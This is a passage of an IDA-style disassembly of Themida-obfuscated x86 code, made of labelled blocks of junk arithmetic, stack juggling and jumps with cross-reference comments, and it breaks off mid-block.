; ---------------------------------------------------------------------------


loc_557E4A:				; CODE XREF: Themida_:0055E01Dj
		push	5E0Fh
		jmp	loc_5595C8
; ---------------------------------------------------------------------------


loc_557E54:				; CODE XREF: Themida_:0055AD00j
		add	ebp, 9043658h
		sub	ebp, edi
		sub	ebp, 9043658h
		pop	edi
		push	ebx
		mov	ebx, 0
		jmp	loc_551AA8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0F4Fh
		mov	[esp], edx
		jmp	loc_55440D
; ---------------------------------------------------------------------------


loc_557E7F:				; CODE XREF: Themida_:00562B81j
		push	ecx
		pop	eax
		jmp	loc_5611A2
; ---------------------------------------------------------------------------


loc_557E86:				; CODE XREF: Themida_:00558F46j
		sub	ebp, 1410E5Ah
		jmp	loc_55B76B
; ---------------------------------------------------------------------------


loc_557E91:				; CODE XREF: Themida_:0055FA8Dj
		or	ecx, 514248C8h
		push	eax
		mov	eax, 0CFABE8ACh
		sub	ecx, eax
		pop	eax
		mov	ebx, ecx
		pop	ecx
		sub	eax, 7F57843h
		jmp	loc_554AC4
; ---------------------------------------------------------------------------


loc_557EAD:				; CODE XREF: Themida_:005631F8j
		pop	edx
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_55448D
		push	19ADh
		mov	[esp], ebx
		push	68BAh
		mov	[esp], ebp
		push	378C5DAAh
		jmp	loc_5636BF
; ---------------------------------------------------------------------------


loc_557ED3:				; CODE XREF: Themida_:00562938j
		pop	ebx
		add	esp, 4
		add	eax, ebx
		sub	eax, 50F3090Fh
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5540A1
; ---------------------------------------------------------------------------


loc_557EF3:				; CODE XREF: Themida_:0055C2DDj
		shr	edx, 8
		inc	edx
		shr	edx, 1
		push	edi
		mov	edi, 6FDF3238h
		jmp	loc_565959
; ---------------------------------------------------------------------------


loc_557F04:				; CODE XREF: Themida_:00557A07j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	37AA187Ch
		pop	esi
		sub	esi, 37AA1878h
		jmp	loc_56556F
; ---------------------------------------------------------------------------


loc_557F25:				; CODE XREF: Themida_:00560B35j
		mov	[esp], ecx
		push	617D34A3h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 48844F5Dh
		and	ebx, 73BF6C15h
		add	ebx, 97AAACB3h
		add	ecx, ebx
		pop	ebx
		push	442h
		mov	[esp], ecx
		pop	esi
		mov	ecx, [esp]
		push	ebp
		jmp	loc_5547F9
; ---------------------------------------------------------------------------


loc_557F5E:				; CODE XREF: Themida_:005504E1j
		neg	esi
		xchg	esi, edx
		jmp	loc_560400
; ---------------------------------------------------------------------------


loc_557F67:				; CODE XREF: Themida_:005630F3j
		shr	edi, 7
		push	esi
		mov	esi, 1E3F3CECh
		jmp	loc_55A05D
; ---------------------------------------------------------------------------


loc_557F75:				; CODE XREF: Themida_:0055F785j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 1
		add	cl, 83h
		jmp	loc_5509C5
; ---------------------------------------------------------------------------


loc_557F94:				; CODE XREF: Themida_:0055C3E8j
		mov	al, 0F9h
		push	ecx
		push	ebx
		mov	bl, al
		jmp	loc_556277
; ---------------------------------------------------------------------------


loc_557F9F:				; CODE XREF: Themida_:00560C4Bj
		push	ax
		mov	ah, 0Fh
		xor	ch, ah
		pop	ax
		sub	esp, 4
		mov	[esp], edx
		mov	dl, ch
		push	ecx
		mov	cl, dl
		mov	bh, cl
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		jmp	loc_55BAF4
; ---------------------------------------------------------------------------


loc_557FC9:				; CODE XREF: Themida_:00552E32j
		pop	ebx
		sub	esi, ecx
		pop	ecx
		jmp	loc_55E6BF
; ---------------------------------------------------------------------------


loc_557FD2:				; CODE XREF: Themida_:00556963j
		push	edx
		jmp	loc_551892
; ---------------------------------------------------------------------------


loc_557FD8:				; CODE XREF: Themida_:00563719j
		add	edx, 3CCB7CE6h
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5648C5
; ---------------------------------------------------------------------------


loc_557FF8:				; CODE XREF: Themida_:00564EDEj
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		sub	bl, 0CDh
		add	bl, 2Bh
		jmp	loc_559805
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	14ADh
		mov	[esp], ebp
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	eax
		jmp	loc_555BF1
; ---------------------------------------------------------------------------


loc_55802F:				; CODE XREF: Themida_:00554B84j
		push	edx
		mov	edx, 59E81681h
		or	edx, 31467D45h
		sub	esp, 4
		jmp	loc_557DAC
; ---------------------------------------------------------------------------


loc_558043:				; CODE XREF: Themida_:0055A4B8j
		not	dh
		not	dh
		jmp	loc_5551A5
; ---------------------------------------------------------------------------


loc_55804C:				; CODE XREF: Themida_:00559764j
		sub	edx, eax
		pop	eax
		add	edx, 4C1E6558h
		jmp	loc_5546FA
; ---------------------------------------------------------------------------


loc_55805A:				; CODE XREF: Themida_:0055E1E1j
		add	ebp, 309210DEh
		or	ebp, 52127436h
		xor	ebp, 0FC986395h
		mov	edx, ebp
		jmp	loc_56385D
; ---------------------------------------------------------------------------


loc_558073:				; CODE XREF: Themida_:0056398Bj
		mov	cl, al
		mov	bh, cl
		pop	ecx
		jmp	loc_55A417
; ---------------------------------------------------------------------------


loc_55807D:				; CODE XREF: Themida_:0056450Ej
		pop	ebp
		jmp	loc_55239E
; ---------------------------------------------------------------------------


loc_558083:				; CODE XREF: Themida_:00552D2Aj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55EF81
; ---------------------------------------------------------------------------


loc_558097:				; CODE XREF: Themida_:005546ACj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5601FA
; ---------------------------------------------------------------------------


loc_5580AB:				; CODE XREF: Themida_:00552876j
		push	ecx
		mov	ch, 0B9h
		xor	ch, 0BDh
		dec	ch
		sub	ch, 6
		jmp	loc_565235
; ---------------------------------------------------------------------------


loc_5580BB:				; CODE XREF: Themida_:0055C5B0j
		mov	ebp, 79B912B0h
		push	edi
		mov	edi, 4BE901F3h
		jmp	loc_55F2B9
; ---------------------------------------------------------------------------


loc_5580CB:				; CODE XREF: Themida_:0055CDEDj
		push	esi
		xor	dword ptr [esp], 25F22A7Fh
		pop	eax
		xor	eax, 25F22A7Fh
		mov	esi, [esp]
		add	esp, 4
		add	eax, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, 3A56393Ch
		sub	eax, 399621C0h
		jmp	loc_555461
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	eax
		push	319Bh
		jmp	loc_5513F1
; ---------------------------------------------------------------------------


loc_55811D:				; CODE XREF: Themida_:0055B358j
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_55C913
; ---------------------------------------------------------------------------


loc_558129:				; CODE XREF: Themida_:00552342j
		push	edx
		mov	dl, 0B8h
		jmp	loc_564CD6
; ---------------------------------------------------------------------------


loc_558131:				; CODE XREF: Themida_:0055AD0Aj
		push	1FC0h
		mov	[esp], edx
		mov	dh, 3Eh
		sub	dh, 14h
		push	ecx
		mov	ch, 29h
		jmp	loc_55CA28
; ---------------------------------------------------------------------------


loc_558146:				; CODE XREF: Themida_:00561806j
		not	edi
		push	edx
		push	esi
		mov	esi, 23245E2Bh
		jmp	loc_561CCD
; ---------------------------------------------------------------------------


loc_558154:				; CODE XREF: Themida_:00559214j
		sub	ebp, 0E97A3780h
		sub	ebx, ebp
		pop	ebp
		add	ebx, ebp
		add	ebx, 5A7B2E73h
		jmp	loc_55134D
; ---------------------------------------------------------------------------


loc_55816A:				; CODE XREF: Themida_:0055BD8Fj
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55A757
; ---------------------------------------------------------------------------


loc_558173:				; CODE XREF: Themida_:0055D4F4j
		push	4429h
		mov	[esp], esi
		push	683A130Ah
		jmp	loc_556784
; ---------------------------------------------------------------------------


loc_558185:				; CODE XREF: Themida_:0055635Dj
		mov	edx, 15D101A2h
		mov	edi, 15D501A2h
		sub	edi, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		sub	edi, 6FA0563Ah
		jmp	loc_5573F3
; ---------------------------------------------------------------------------


loc_5581A8:				; CODE XREF: Themida_:00563847j
		xor	edi, ecx
		xchg	edi, [esp]
		push	dword ptr [esp]
		pop	eax
		push	0C8Eh
		mov	[esp], ebx
		jmp	loc_55371A
; ---------------------------------------------------------------------------


loc_5581BE:				; CODE XREF: Themida_:005633FDj
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_557315
; ---------------------------------------------------------------------------


loc_5581DB:				; CODE XREF: Themida_:005613F5j
		pop	ebp
		add	esp, 4
		push	edi
		mov	edi, esp
		jmp	loc_55A16F
; ---------------------------------------------------------------------------


loc_5581EA:				; CODE XREF: Themida_:005651E7j
		mov	ebp, ebx
		jmp	loc_55EBC0
; ---------------------------------------------------------------------------


loc_5581F1:				; CODE XREF: Themida_:005566F6j
		xchg	ebp, [esp]
		jmp	loc_558E15
; ---------------------------------------------------------------------------


loc_5581F9:				; CODE XREF: Themida_:00553393j
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_55E505
; ---------------------------------------------------------------------------


loc_558208:				; CODE XREF: Themida_:00551075j
		mov	ecx, 262F3F84h
		sub	edi, ecx
		jmp	loc_562882
; ---------------------------------------------------------------------------


loc_558214:				; CODE XREF: Themida_:005577D2j
		mov	ah, 7Bh
		add	ah, 0B2h
		not	ah
		neg	ah
		inc	ah
		jmp	loc_55107A
; ---------------------------------------------------------------------------


loc_558224:				; CODE XREF: Themida_:0055C0D1j
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 77E2E34h
		add	esi, 27F572Fh
		add	esi, ebp
		jmp	loc_555200
; ---------------------------------------------------------------------------


loc_55824B:				; CODE XREF: Themida_:00550961j
		sub	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_552F69
; ---------------------------------------------------------------------------


loc_558267:				; CODE XREF: Themida_:0056132Bj
		push	ecx
		jmp	loc_556A81
; ---------------------------------------------------------------------------


loc_55826D:				; CODE XREF: Themida_:005633BAj
		sub	ebp, 30B64CD9h
		shl	ebp, 3
		push	edi
		push	edx
		mov	edx, 22ED79A7h
		sub	edx, 0B2466D6h
		jmp	loc_5568CA
; ---------------------------------------------------------------------------


loc_558288:				; CODE XREF: Themida_:00552029j
		push	esi
		push	eax
		push	5E9000F3h
		mov	eax, [esp]
		jmp	loc_552D2F
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5638BF
; ---------------------------------------------------------------------------


loc_55829D:				; CODE XREF: Themida_:00554CC6j
		mov	ebp, [esp]
		add	esp, 4
		xchg	edi, esi
		xchg	ebp, edi
		not	ebp
		xchg	ebp, edi
		xchg	edi, esi
		push	92Bh
		mov	[esp], ecx
		push	ebx
		mov	ebx, 267543A3h
		push	7A315E9Eh
		pop	ecx
		push	eax
		jmp	loc_55ADDF
; ---------------------------------------------------------------------------


loc_5582C7:				; CODE XREF: Themida_:0055085Bj
		or	cl, 0EBh
		not	cl
		add	cl, 96h
		xor	dl, cl
		mov	ecx, [esp]
		add	esp, 4
		add	dl, 0DFh
		xor	cl, dl
		pop	edx
		jmp	loc_56578D
; ---------------------------------------------------------------------------


loc_5582E5:				; CODE XREF: Themida_:00556568j
		jmp	loc_550420
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebx
		mov	ebx, 4
		push	ebx
		push	edi
		push	edx
		mov	edx, 6C12336Ch
		push	0A64h
		mov	[esp], edx
		mov	edx, 37B00EA0h
		not	edx
		sub	edx, 33B550D9h
		jmp	loc_557B74
; ---------------------------------------------------------------------------


loc_55831E:				; CODE XREF: Themida_:00551C05j
		add	esp, 4
		push	6CBBh
		mov	[esp], edx
		push	eax
		mov	eax, 72260215h
		jmp	loc_551EA3
; ---------------------------------------------------------------------------


loc_558337:				; CODE XREF: Themida_:0055381Aj
		sub	dl, 44h
		add	al, 8Bh
		sub	al, 55h
		add	al, 7Bh
		add	al, dl
		sub	al, 7Bh
		add	al, 55h
		sub	al, 8Bh
		mov	edx, [esp]
		jmp	loc_554DA1
; ---------------------------------------------------------------------------


loc_558350:				; CODE XREF: Themida_:00565646j
		shr	edi, 5
		xchg	ebp, edi
		not	ebp
		xchg	ebp, edi
		sub	edi, 0CDAEE408h
		jmp	loc_554C62
; ---------------------------------------------------------------------------


loc_558364:				; CODE XREF: Themida_:00558453j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		push	ebp
		mov	ebp, 61E7982h
		push	ebx
		mov	ebx, 2557245Fh
		xor	ebp, ebx
		jmp	loc_55CA88
; ---------------------------------------------------------------------------


loc_55837D:				; CODE XREF: Themida_:0055FD53j
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	edx, 33F71A71h
		sub	edx, 24AE38A1h
		jmp	loc_55C5B5
; ---------------------------------------------------------------------------


loc_55839F:				; CODE XREF: Themida_:0055D102j
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 5CBC2813h
		jmp	loc_55D7DA
; ---------------------------------------------------------------------------


loc_5583B5:				; CODE XREF: Themida_:0055358Fj
		pop	esi
		push	esi
		mov	esi, 547E2DC7h
		inc	esi
		jmp	loc_564C09
; ---------------------------------------------------------------------------


loc_5583C2:				; CODE XREF: Themida_:00554487j
		xor	ebp, 84BDBFBEh
		sub	edi, ebp
		pop	ebp
		xor	edx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		push	165D0889h
		mov	ecx, [esp]
		add	esp, 4
		dec	ecx
		neg	ecx
		push	edi
		push	ebx
		push	410E5998h
		pop	ebx
		sub	ebx, 576B621Fh
		jmp	loc_55C8B2
; ---------------------------------------------------------------------------


loc_5583FB:				; CODE XREF: Themida_:00552E9Bj
		pop	esp
		mov	[esp], ebx
		jmp	loc_5619D7
; ---------------------------------------------------------------------------


loc_558404:				; CODE XREF: Themida_:0055C565j
		pop	ebx
		push	ebx
		jmp	loc_5515D2
; ---------------------------------------------------------------------------


loc_55840B:				; CODE XREF: Themida_:00550C53j
		mov	[esp], eax
		push	ebx
		mov	ebx, 0F581DE4h
		mov	eax, 0F581DE6h
		sub	eax, ebx
		pop	ebx
		add	esi, eax
		push	dword ptr [esp]
		jmp	loc_559515
; ---------------------------------------------------------------------------


loc_558426:				; CODE XREF: Themida_:00555E2Fj
		add	esi, 3FFD3B1Eh
		jmp	loc_55CDDA
; ---------------------------------------------------------------------------


loc_558431:				; CODE XREF: Themida_:0055FF30j
		add	cx, dx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_564A81
; ---------------------------------------------------------------------------


loc_558442:				; CODE XREF: Themida_:00551D0Ej
		add	ebx, ebp
		sub	ebx, 2A1C1333h
		pop	ebp
		mov	edi, ebx
		pop	ebx
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_558364
; ---------------------------------------------------------------------------


loc_558458:				; CODE XREF: Themida_:00562377j
		sub	edx, edi
		pop	edi
		jmp	loc_563124
; ---------------------------------------------------------------------------


loc_558460:				; CODE XREF: Themida_:00554493j
		pop	ecx
		jmp	loc_557971
; ---------------------------------------------------------------------------


loc_558466:				; CODE XREF: Themida_:0055A1E8j
		not	dword ptr [esp]
		pop	esi
		jmp	loc_5569EA
; ---------------------------------------------------------------------------


loc_55846F:				; CODE XREF: Themida_:005587DDj
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5640E3
; ---------------------------------------------------------------------------


loc_558481:				; CODE XREF: Themida_:00552EC5j
		pop	esi
		jmp	loc_55BB44
; ---------------------------------------------------------------------------


loc_558487:				; CODE XREF: Themida_:0056286Ej
		push	ebp
		jmp	loc_5563BE
; ---------------------------------------------------------------------------


loc_55848D:				; CODE XREF: Themida_:00565513j
		pop	edx
		jmp	loc_55E25F
; ---------------------------------------------------------------------------


loc_558493:				; CODE XREF: Themida_:00564CB7j
		push	ebp
		push	ebx
		mov	ebx, 726F3F3Fh
		neg	ebx
		shl	ebx, 4
		shl	ebx, 7
		sub	ebx, 584131F7h
		xor	ebx, 320AFF90h
		mov	ebp, ebx
		jmp	loc_561C67
; ---------------------------------------------------------------------------


loc_5584B5:				; CODE XREF: Themida_:0055C45Bj
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		push	edx
		jmp	loc_565AFC
; ---------------------------------------------------------------------------


loc_5584C3:				; CODE XREF: Themida_:00562B7Bj
		or	bl, 0A6h
		xor	bl, 0A6h
		sub	bl, 0D9h
		jmp	loc_560DF1
; ---------------------------------------------------------------------------


loc_5584D1:				; CODE XREF: Themida_:00558814j
		mov	edi, 4308092Ah
		sub	eax, edi
		pop	edi
		add	eax, 2FA0606h
		or	eax, 54532FC4h
		sub	eax, 4C246C3Ch
		push	eax
		jmp	loc_5521B0
; ---------------------------------------------------------------------------


loc_5584EE:				; CODE XREF: Themida_:00563C80j
		mov	[esp], eax
		mov	eax, 5D8F6E59h
		xchg	eax, ecx
		not	ecx
		xchg	eax, ecx
		inc	eax
		not	eax
		shr	eax, 6
		xor	eax, 8670E4Ch
		jmp	loc_561330
; ---------------------------------------------------------------------------


loc_55850A:				; CODE XREF: Themida_:00564872j
		mov	bh, 47h
		or	bh, 0Dh
		jmp	loc_557D41
; ---------------------------------------------------------------------------


loc_558514:				; CODE XREF: Themida_:00556E74j
		push	ebp
		mov	ebp, 2DC638D7h
		or	ebp, 2C4A628Ah
		add	ebp, 1FB201A3h
		push	ecx
		mov	ecx, 626E3684h
		shl	ecx, 2
		sub	ecx, 1A804888h
		inc	ecx
		inc	ecx
		neg	ecx
		add	ecx, 8D14B19Eh
		add	ebp, ecx
		pop	ecx
		jmp	loc_55E2F0
; ---------------------------------------------------------------------------


loc_558547:				; CODE XREF: Themida_:0055AAFBj
		sub	esi, 66550E66h
		jmp	loc_5557A2
; ---------------------------------------------------------------------------


loc_558552:				; CODE XREF: Themida_:005515CDj
		add	esp, 4
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_554EB4
; ---------------------------------------------------------------------------


loc_558567:				; CODE XREF: Themida_:0055C90Ej
		push	5A00h
		mov	[esp], eax
		jmp	loc_555B77
; ---------------------------------------------------------------------------


loc_558574:				; CODE XREF: Themida_:0056322Cj
		push	37FBh
		jmp	loc_5579AB
; ---------------------------------------------------------------------------


loc_55857E:				; CODE XREF: Themida_:005557F7j
		add	edx, eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 25E963FAh
		jmp	loc_560111
; ---------------------------------------------------------------------------


loc_558593:				; CODE XREF: Themida_:00557B7Dj
		sub	edi, edx
		pop	edx
		mov	ebx, edi
		jmp	loc_5553EF
; ---------------------------------------------------------------------------


loc_55859D:				; CODE XREF: Themida_:00557AECj
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_564F2B
; ---------------------------------------------------------------------------


loc_5585AB:				; CODE XREF: Themida_:00557D3Cj
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		jmp	loc_55B6E9
; ---------------------------------------------------------------------------


loc_5585B6:				; CODE XREF: Themida_:00551B98j
		push	ecx
		push	ebp
		jmp	loc_556A26
; ---------------------------------------------------------------------------


loc_5585BD:				; CODE XREF: Themida_:00554A02j
		mov	[esp], esi
		mov	esi, 4A502104h
		xor	ebp, esi
		pop	esi
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		dec	dword ptr [esp]
		pushf
		jmp	loc_556CEF
; ---------------------------------------------------------------------------


loc_5585D8:				; CODE XREF: Themida_:005602A0j
		shr	ebx, 2
		add	ebx, 42BD32F1h
		add	ebx, 5E32CCDh
		xor	ebx, 1A5A7124h
		sub	eax, ebx
		pop	ebx
		jmp	loc_5591D2
; ---------------------------------------------------------------------------


loc_5585F5:				; CODE XREF: Themida_:0055331Dj
		push	ecx
		mov	ecx, edx
		mov	edi, ecx
		pop	ecx
		pop	edx
		mov	ecx, edi
		jmp	loc_55CA51
; ---------------------------------------------------------------------------


loc_558603:				; CODE XREF: Themida_:00552511j
		push	edi
		mov	edi, 4
		jmp	loc_553217
; ---------------------------------------------------------------------------


loc_55860E:				; CODE XREF: Themida_:00557C48j
		mov	bl, 8Ah
		not	bl
		jmp	loc_553344
; ---------------------------------------------------------------------------


loc_558617:				; CODE XREF: Themida_:00564E1Ej
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_55667E
; ---------------------------------------------------------------------------


loc_558623:				; CODE XREF: Themida_:00558AFBj
		mov	edx, esp
		jmp	loc_55FD4D
; ---------------------------------------------------------------------------


loc_55862A:				; CODE XREF: Themida_:00552450j
		push	75F13CFFh
		jmp	loc_555412
; ---------------------------------------------------------------------------


loc_558634:				; CODE XREF: Themida_:0055AEB6j
		add	ecx, edx
		push	ebx
		mov	ebx, 2F27400Dh
		or	ebx, 258D0023h
		add	ebx, 2D5C4C3Eh
		jmp	loc_55DE64
; ---------------------------------------------------------------------------


loc_55864D:				; CODE XREF: Themida_:00558D10j
		sub	edx, eax
		sub	edx, 21EC22ABh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_561FD6
; ---------------------------------------------------------------------------


loc_558663:				; CODE XREF: Themida_:0056551Cj
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_558670:				; CODE XREF: Themida_:005507EDj
		sub	dh, al
		pop	eax
		inc	dh
		and	dh, 0CEh
		shr	dh, 4
		push	ecx
		mov	cl, 11h
		add	dh, cl
		pop	ecx
		sub	bl, 0A2h
		add	bl, dh
		add	bl, 0A2h
		pop	edx
		add	bl, al
		jmp	loc_557BB3
; ---------------------------------------------------------------------------


loc_558691:				; CODE XREF: Themida_:0055CAB4j
		add	al, bh
		sub	al, 0A1h
		sub	al, 0EBh
		jmp	loc_551F0B
; ---------------------------------------------------------------------------


loc_55869C:				; CODE XREF: Themida_:00551E58j
		pop	esp
		sub	edi, 4
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	19D31067h
		mov	edi, [esp]
		add	esp, 4
		push	0D50h
		jmp	loc_55A99B
; ---------------------------------------------------------------------------


loc_5586CF:				; CODE XREF: Themida_:0055A3CDj
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5636E0
; ---------------------------------------------------------------------------


loc_5586E8:				; CODE XREF: Themida_:005508CCj
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 72172299h
		jmp	loc_5513AF
; ---------------------------------------------------------------------------


loc_5586FD:				; CODE XREF: Themida_:005535A8j
		push	edx
		mov	dl, 0A8h
		push	ebx
		mov	bl, dl
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, bl
		jmp	loc_557511
; ---------------------------------------------------------------------------


loc_558713:				; CODE XREF: Themida_:00559298j
		mov	edi, [esp]
		jmp	loc_564CCC
; ---------------------------------------------------------------------------


loc_55871B:				; CODE XREF: Themida_:005658D7j
		push	ecx
		mov	ecx, 4
		jmp	loc_553B13
; ---------------------------------------------------------------------------


loc_558726:				; CODE XREF: Themida_:00558F06j
		mov	edi, 3A611FC0h
		add	eax, edi
		mov	edi, [esp]
		jmp	loc_564C8F
; ---------------------------------------------------------------------------


loc_558735:				; CODE XREF: Themida_:0055B4B9j
		or	ecx, 19183768h
		add	ecx, 0E663C896h
		sub	ebp, 10C96EF0h
		add	ebp, ecx
		add	ebp, 10C96EF0h
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		push	2B4Fh
		mov	[esp], edx
		mov	edx, 1BCA624Ch
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 3F44057Eh
		dec	ebx
		jmp	loc_559051
; ---------------------------------------------------------------------------


loc_558777:				; CODE XREF: Themida_:005575D9j
		mov	ebp, edx
		pop	edx
		jmp	loc_564948
; ---------------------------------------------------------------------------


loc_55877F:				; CODE XREF: Themida_:00562C0Bj
		push	4F47h
		mov	[esp], ebx
		mov	ebx, 7DDF7392h
		shr	ebx, 5
		neg	ebx
		shl	ebx, 2
		jmp	loc_560DBB
; ---------------------------------------------------------------------------


loc_558799:				; CODE XREF: Themida_:00551BD7j
		push	2CEh
		jmp	loc_55173F
; ---------------------------------------------------------------------------


loc_5587A3:				; CODE XREF: Themida_:0055B693j
		mov	[esp], ebp
		mov	ebp, 35D0443h
		sub	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	ebx, 316A5428h
		mov	eax, ebx
		jmp	loc_562B94
; ---------------------------------------------------------------------------


loc_5587C4:				; CODE XREF: Themida_:0056389Ej
		xor	edx, [esp]
		mov	esp, [esp]
		bswap	eax
		jmp	loc_565B7D
; ---------------------------------------------------------------------------


loc_5587D1:				; CODE XREF: Themida_:00560A61j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55846F
; ---------------------------------------------------------------------------


loc_5587E2:				; CODE XREF: Themida_:005534B7j
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_562F26
; ---------------------------------------------------------------------------


loc_5587EF:				; CODE XREF: Themida_:005655C7j
		pop	eax
		jmp	loc_55B1B5
; ---------------------------------------------------------------------------


loc_5587F5:				; CODE XREF: Themida_:0055B8F0j
		add	ebp, 61396702h
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_559A74
; ---------------------------------------------------------------------------


loc_558807:				; CODE XREF: Themida_:0055771Ej
		push	ecx
		jmp	loc_561F89
; ---------------------------------------------------------------------------


loc_55880D:				; CODE XREF: Themida_:005603FBj
		push	eax
		mov	eax, 656215B3h
		push	edi
		jmp	loc_5584D1
; ---------------------------------------------------------------------------


loc_558819:				; CODE XREF: Themida_:00559632j
		push	29787145h
		pop	ebx
		push	edx
		mov	edx, 186C7CA9h
		jmp	loc_55E469
; ---------------------------------------------------------------------------


loc_55882A:				; CODE XREF: Themida_:0055B1FBj
		shr	esi, 8
		inc	esi
		xor	esi, 428CD88Ch
		add	edx, esi
		pop	esi
		jmp	loc_55210C
; ---------------------------------------------------------------------------


loc_55883C:				; CODE XREF: Themida_:005642A3j
		pop	edi
		add	esp, 4
		sub	ecx, edx
		mov	edx, [esp]
		jmp	loc_55B2C6
; ---------------------------------------------------------------------------


loc_55884A:				; CODE XREF: Themida_:0055C785j
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_555B63
; ---------------------------------------------------------------------------


loc_55885C:				; CODE XREF: Themida_:0055FC99j
		push	23D34B3Dh
		pop	edi
		jmp	loc_552A73
; ---------------------------------------------------------------------------


loc_558867:				; CODE XREF: Themida_:0056556Aj
		pop	ecx
		sub	al, bl
		sub	al, 0FDh
		sub	al, 0B2h
		jmp	loc_55DE7F
; ---------------------------------------------------------------------------


loc_558873:				; CODE XREF: Themida_:00558E1Ej
		mov	dl, 3Ah
		add	dl, 51h
		jmp	loc_562803
; ---------------------------------------------------------------------------


loc_55887D:				; CODE XREF: Themida_:0055F12Bj
		add	esp, 2
		add	al, bl
		push	ecx
		mov	cl, 0D2h
		sub	al, cl
		pop	ecx
		add	al, 0A8h
		jmp	loc_555D72
; ---------------------------------------------------------------------------


loc_55888F:				; CODE XREF: Themida_:0055B73Bj
		sub	ebx, 0FFFFFFFFh
		and	ebx, 4C510CC8h
		shr	ebx, 7
		add	ebx, 387A5D3Bh
		shl	ebx, 5
		add	ebx, 715A6C4Ch
		jmp	loc_55CAC6
; ---------------------------------------------------------------------------


loc_5588AF:				; CODE XREF: Themida_:0055FCECj
		dec	byte ptr [esp]
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5588B8:				; CODE XREF: Themida_:00554D1Bj
		sub	eax, 77F73BF3h
		not	eax
		sub	eax, 1719DBF7h
		push	ebx
		mov	ebx, eax
		mov	ebp, ebx
		pop	ebx
		pop	eax
		sub	eax, ebp
		pop	ebp
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5569D7
; ---------------------------------------------------------------------------


loc_5588D9:				; CODE XREF: Themida_:0055392Ej
		sub	edx, 190D3107h
		jmp	loc_556E82
; ---------------------------------------------------------------------------


loc_5588E4:				; CODE XREF: Themida_:0055BEE1j
		xchg	edi, [esp]
		pop	esp
		pop	edi
